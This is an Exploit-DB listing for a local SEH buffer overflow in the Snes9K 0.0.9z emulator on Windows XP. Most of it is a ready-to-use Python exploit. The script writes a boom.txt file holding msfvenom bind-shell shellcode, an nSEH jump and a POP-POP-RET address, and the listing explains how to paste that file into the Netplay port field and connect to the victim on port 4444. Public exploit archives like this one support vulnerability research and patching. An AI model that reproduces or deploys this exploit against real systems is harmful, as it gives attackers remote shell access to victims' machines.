Snes9K 0.0.9z - Buffer Overflow (SEH)

EDB-ID:
45598

CVE:
N/A

EDB Verified: ×

Author:
ABDULLAH ALIÇ

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS_X86

Date:
2018-10-15

Vulnerable App:

```
# Exploit Title: Snes9K 0.0.9z - Buffer Overflow (SEH)
# Date: 2018-10-13
# Exploit Author: Abdullah Alıç
# Vendor Homepage: https://sourceforge.net/projects/snes9k/
# Software Link:
https://sourceforge.net/projects/snes9k/files/latest/download
# Version: 0.0.9z
# Tested on: Windows XP Professional sp3(ENG)
# Category: Windows Local Exploit
# How to use: open the program go to "Netplay --> Options" paste the
contents of boom.txt
# in  Socket Port Number --> Connect victim machine on port 4444
#!/usr/bin/python

#msfvenom -p windows/shell_bind_tcp  -b
"\x00\x0a\x0d\x9f\x8f\x8e\x8d\x9e\x9d\xd0\xdd\xfd\xfe\xf0\xde" -f python
#352 bytes
buf =  ""
buf += "\x2b\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\x43\x2b\x2a\x41\x83\xee\xfc\xe2\xf4\xbf\xc3"
buf += "\xa8\x41\x43\x2b\x4a\xc8\xa6\x1a\xea\x25\xc8\x7b\x1a"
buf += "\xca\x11\x27\xa1\x13\x57\xa0\x58\x69\x4c\x9c\x60\x67"
buf += "\x72\xd4\x86\x7d\x22\x57\x28\x6d\x63\xea\xe5\x4c\x42"
buf += "\xec\xc8\xb3\x11\x7c\xa1\x13\x53\xa0\x60\x7d\xc8\x67"
buf += "\x3b\x39\xa0\x63\x2b\x90\x12\xa0\x73\x61\x42\xf8\xa1"
buf += "\x08\x5b\xc8\x10\x08\xc8\x1f\xa1\x40\x95\x1a\xd5\xed"
buf += "\x82\xe4\x27\x40\x84\x13\xca\x34\xb5\x28\x57\xb9\x78"
buf += "\x56\x0e\x34\xa7\x73\xa1\x19\x67\x2a\xf9\x27\xc8\x27"
buf += "\x61\xca\x1b\x37\x2b\x92\xc8\x2f\xa1\x40\x93\xa2\x6e"
buf += "\x65\x67\x70\x71\x20\x1a\x71\x7b\xbe\xa3\x74\x75\x1b"
buf += "\xc8\x39\xc1\xcc\x1e\x43\x19\x73\x43\x2b\x42\x36\x30"
buf += "\x19\x75\x15\x2b\x67\x5d\x67\x44\xd4\xff\xf9\xd3\x2a"
buf += "\x2a\x41\x6a\xef\x7e\x11\x2b\x02\xaa\x2a\x43\xd4\xff"
buf += "\x2b\x4b\x72\x7a\xa3\xbe\x6b\x7a\x01\x13\x43\xc0\x4e"
buf += "\x9c\xcb\xd5\x94\xd4\x43\x28\x41\x52\x77\xa3\xa7\x29"
buf += "\x3b\x7c\x16\x2b\xe9\xf1\x76\x24\xd4\xff\x16\x2b\x9c"
buf += "\xc3\x79\xbc\xd4\xff\x16\x2b\x5f\xc6\x7a\xa2\xd4\xff"
buf += "\x16\xd4\x43\x5f\x2f\x0e\x4a\xd5\x94\x2b\x48\x47\x25"
buf += "\x43\xa2\xc9\x16\x14\x7c\x1b\xb7\x29\x39\x73\x17\xa1"
buf += "\xd6\x4c\x86\x07\x0f\x16\x40\x42\xa6\x6e\x65\x53\xed"
buf += "\x2a\x05\x17\x7b\x7c\x17\x15\x6d\x7c\x0f\x15\x7d\x79"
buf += "\x17\x2b\x52\xe6\x7e\xc5\xd4\xff\xc8\xa3\x65\x7c\x07"
buf += "\xbc\x1b\x42\x49\xc4\x36\x4a\xbe\x96\x90\xda\xf4\xe1"
buf += "\x7d\x42\xe7\xd6\x96\xb7\xbe\x96\x17\x2c\x3d\x49\xab"
buf += "\xd1\xa1\x36\x2e\x91\x06\x50\x59\x45\x2b\x43\x78\xd5"
buf += "\x94"

nseh= "\xeb\x06\x90\x90"
seh = "\x39\x1f\xd1\x72" #POP-POP-RET msacm32.drv

buffer = "\x90" * 244 +  nseh + seh + buf + "\x90"*20

payload = buffer
try:
    f=open("boom.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Local Buffer Overflow

Advisory/Source: Link